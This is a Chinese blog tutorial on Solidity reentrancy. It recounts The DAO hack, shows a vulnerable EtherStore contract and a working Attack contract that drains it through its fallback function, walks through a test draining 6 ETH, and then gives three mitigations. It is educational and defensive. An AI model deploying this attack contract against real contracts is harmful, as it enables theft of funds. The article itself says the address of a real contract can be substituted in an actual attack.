• Solidity - 安全 - 重入攻击(Reentrancy)


    The DAO事件

    首先简要说明下一个很有名的重入攻击事件,再模拟重入攻击。

    The DAO是分布式自治组织,2016年5月正式发布,该项目使用了由德国以太坊创业公司Slock.it编写的开源代码。2016年6月17上午,被攻击的消息开始在社交网站上出现,到6月18日黑客将超过360万个以太币转移到一个child DAO项目中,child DAO项目和The DAO有着一样的结构,当时以太币的价格从20美元降到了13美元。

    当时,一个所谓的”递归调用“攻击(现在称为重入攻击)名词随之出现,这种攻击可以被用来消耗一些智能合约账户。

    这次的黑客攻击最终导致了以太坊硬分叉,分为ETH和ETC,分叉前的为ETC(以太坊经典),现在使用的ETH为硬分叉后的以太坊。

    整个事件可以参考: The DAO攻击历史_x-2010的博客-CSDN博客_dao 攻击

    模拟重入攻击

    攻击与被攻击合约代码

    说明:以下重入攻击代码,在0.8.0以下版本可以成功测试,0.8.0及以上版本未能成功测试,调用攻击函数时被拦截报错。

    源码可参见: smartcontract/Security/Reentrancy at main · tracyzhang1998/smartcontract · GitHub

    1. // SPDX-License-Identifier: MIT
    2. pragma solidity ^0.7.6;
    3. //被攻击合约
    4. contract EtherStore {
    5. //记录余额
    6. mapping(address => uint256) public balance;
    7. // 存款,ether转入合约地址,同时更新调用者的balance;
    8. function deposit() external payable {
    9. balance[msg.sender] += msg.value;
    10. }
    11. // 取款,从合约地址余额向调用者地址取款
    12. function withdraw(uint256 _amount) external {
    13. // 验证账户余额是否充足
    14. require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
    15. // 取款(从合约地址转入调用者账户)
    16. (bool result,) = msg.sender.call{value: _amount}("");
    17. // 验证取款结果
    18. require(result, "Failed to withdraw Ether");
    19. // 更新余额
    20. balance[msg.sender] -= _amount;
    21. }
    22. // 查看合约余额
    23. function getContractBalance() external view returns(uint256) {
    24. return address(this).balance;
    25. }
    26. }
    27. //攻击合约(黑客编写)
    28. contract Attack {
    29. EtherStore public etherstore;
    30. constructor(address _etherStoreAddress) public {
    31. etherstore = EtherStore(_etherStoreAddress);
    32. }
    33. //回退函数
    34. fallback() external payable {
    35. //判断被攻击合约余额大于等于1 ether,是为了避免死循环,死循环时调用将会失败,达不到目的了
    36. if (address(etherstore).balance >= 1 ether) {
    37. //从被攻击合约中取款
    38. etherstore.withdraw(1 ether);
    39. }
    40. }
    41. //攻击函数
    42. function attack() external payable {
    43. require(msg.value >= 1 ether);
    44. //向被攻击合约存款
    45. //etherstore.deposit.value(1 ether)(); //0.6.0版本以前写法
    46. etherstore.deposit{value: 1 ether}();
    47. //从被攻击合约中取款
    48. etherstore.withdraw(1 ether);
    49. }
    50. //查看合约余额
    51. function getContractBalance() external view returns (uint256) {
    52. return address(this).balance;
    53. }
    54. //取出合约余额到外部账户中
    55. function withdraw() external payable {
    56. payable(msg.sender).transfer(address(this).balance);
    57. }
    58. //查看外部账户余额
    59. function getExternalBalance() external view returns (uint256) {
    60. return msg.sender.balance;
    61. }
    62. }

    测试重入攻击

    1、测试使用的外部账户

    使用三个外部账户

    账户1   0x5B38Da6a701c568545dCfcB03FcB875f56beddC4  部署被攻击合约(EtherStore)

    账户2  0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 部署攻击合约(Attack)

    账户3  0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db  向被攻击合约(EtherStore)存款

    2、部署合约

    (1)部署被攻击合约(EtherStore)

    使用账户1部署被攻击合约(EtherStore)

    部署完成得到被攻击合约(EtherStore)地址:0xd9145CCE52D386f254917e481eB44e9943F39138

    (2)部署攻击合约(Attack)

    使用账户2 部署攻击合约(Attack),参数填写被攻击合约(EtherStore)地址,在实际攻击时,参数填写在以太网中的实际合约地址。

    部署完成得到攻击合约(Attack)地址:

    0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

    3、测试步骤(攻击获取ETH)

    (1)账户3调用被攻击合约(EtherStore)存款函数

    1. 账户3 存款6Ether(调用函数 deposit)
    2. 查看被攻击合约(EtherStore)余额(调用函数 getContractBalance),当前余额为6Ether

    (2)账户2调用攻击合约(Attack)攻击函数

    1. 账户2 调用攻击合约(Attack)中攻击函数(调用函数 attack),攻击函数中调用被攻击合约中的取款函数,此时会执行攻击合约中的回退函数(fallback),fallback将被攻击合约账户余额转入攻击合约账户中
    2. 查看攻击合约(Attack)余额(调用函数 getContractBalance),余额为 7 Ether = 自己存款 1 Ether + 被攻击合约 6 Ether
    3. 查看被攻击合约(EtherStore)余额(调用函数 getContractBalance),此时已为 0 Ether,已被攻击者成功转走

    查看被攻击合约(EtherStore)余额

    说明:

    fallback函数是合约中的一个未命名函数,没有参数且没有返回值。

    fallback执行条件:

    1. 如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配时(或没有提供调用数据),fallback函数会被执行;
    2. 当合约收到以太币时,fallback函数会被执行;攻击合约(Attack)中用到了此触发fallback执行条件。

    关于fallback函数执行的2种触发方式可参见: Solitidy - fallback 回退函数 - 2种触发执行方式_ling1998的博客-CSDN博客

     (3)攻击者被攻击合约余额转入自己的用户账户

    1. 账户2调用攻击合约(Attack)中取款函数(withdraw),合约账户余额转入账户2用户账户
    2. 查看攻击合约账户余额,已为 0 Ether
    3. 查看攻击者(即账户2)用户账户余额,已成功获取约 6 Ether

    4、测试0.8.0版本

    使用0.8.0测试步骤(2)时,报错,错误信息如下所示:

    transact to Attack.attack errored: VM error: revert.
    
    revert
    	The transaction has been reverted to the initial state.
    Reason provided by the contract: "Failed to withdraw Ether".
    Debug the transaction to get more information.

    解决重入攻击方案 

    1、被攻击合约(EtherStore)中取款函数先更新余额再取款

    调用被攻击合约(EtherStore)中的取款函数,调顺序

            // 更新余额
            balance[msg.sender] -= _amount;
            
            // 取款(从合约地址转入调用者账户)
            (bool result,) = msg.sender.call{value: _amount}("");
            // 验证取款结果 
            require(result, "Failed to withdraw Ether");

    展示调整后的取款函数withdraw 

    1. // 取款,从合约地址余额向调用者地址取款
    2. function withdraw(uint256 _amount) external {
    3. // 验证账户余额是否充足
    4. require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
    5. // 更新余额
    6. balance[msg.sender] -= _amount;
    7. // 取款(从合约地址转入调用者账户)
    8. (bool result,) = msg.sender.call{value: _amount}("");
    9. // 验证取款结果
    10. require(result, "Failed to withdraw Ether");
    11. }

    执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,与在0.8.0版本错误相同,如下图所示

     2、取款使用transfer代替msg.sender.call

    1. // 取款,从合约地址余额向调用者地址取款
    2. function withdraw(uint256 _amount) external {
    3. // 验证账户余额是否充足
    4. require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
    5. /** 删除.call调用 **/
    6. // // 取款(从合约地址转入调用者账户)
    7. // (bool result,) = msg.sender.call{value: _amount}("");
    8. // // 验证取款结果
    9. // require(result, "Failed to withdraw Ether");
    10. // 取款(从合约地址转入调用者账户)
    11. msg.sender.transfer(_amount);
    12. // 更新余额
    13. balance[msg.sender] -= _amount;
    14. }

     执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,如下图所示:

    3、使用重入锁

    增加一个状态变量标识是否加锁,若已加锁则不能再调用被攻击函数中的取款方法。

    1. //被攻击合约
    2. contract EtherStore {
    3. //记录余额
    4. mapping(address => uint256) public balance;
    5. //锁
    6. bool locked;
    7. //判断是否加锁,若加锁已返回,否则加锁,执行完释放锁
    8. modifier noLock() {
    9. require(!locked, "The lock is locked.");
    10. locked = true;
    11. _;
    12. locked = false;
    13. }
    14. // 存款,ether转入合约地址,同时更新调用者的balance;
    15. function deposit() external payable {
    16. balance[msg.sender] += msg.value;
    17. }
    18. // 取款,从合约地址余额向调用者地址取款
    19. function withdraw(uint256 _amount) noLock external {
    20. // 验证账户余额是否充足
    21. require(balance[msg.sender] >= _amount, "The balance is not sufficient.");
    22. // 取款(从合约地址转入调用者账户)
    23. (bool result,) = msg.sender.call{value: _amount}("");
    24. // 验证取款结果
    25. require(result, "Failed to withdraw Ether");
    26. // 更新余额
    27. balance[msg.sender] -= _amount;
    28. }
    29. // 查看合约余额
    30. function getContractBalance() external view returns(uint256) {
    31. return address(this).balance;
    32. }
    33. }

    执行测试第2步调用攻击合约(Attack)中的攻击函数,报错,如下图所示: 

     

  • 相关阅读:
    意大利法院认可GPL开源协议的法律效力
    十年架构五年生活-06 离职的冲动
    港联证券:十一黄金周将至,旅游出行板块强势拉升,长白山一度涨停
    Unity vscode 不能查看引用 没有智能提示
    初识Pyqt5
    Shapes
    【SpringMVC】解决获取请求参数的乱码问题
    百炼成钢 —— 声网实时网络的自动运维丨Dev for Dev 专栏
    Python 图形化界面基础篇:添加复选框( Checkbutton )到 Tkinter 窗口
    项目执行过程中有几个关键注意事项?
  • 原文地址:https://blog.csdn.net/ling1998/article/details/125473315